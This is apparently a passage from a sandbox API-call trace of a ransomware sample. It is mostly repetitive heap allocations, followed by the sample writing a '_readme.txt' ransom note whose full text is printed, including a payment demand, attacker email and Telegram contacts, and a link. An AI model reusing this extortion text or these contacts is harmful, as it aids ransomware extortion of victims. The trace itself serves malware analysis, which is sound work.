dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.625] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.625] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.625] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.625] PathFindFileNameW (pszPath="") returned="" [0112.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.625] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.625] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.626] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.626] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.626] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0112.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.626] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0112.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.627] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.627] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact 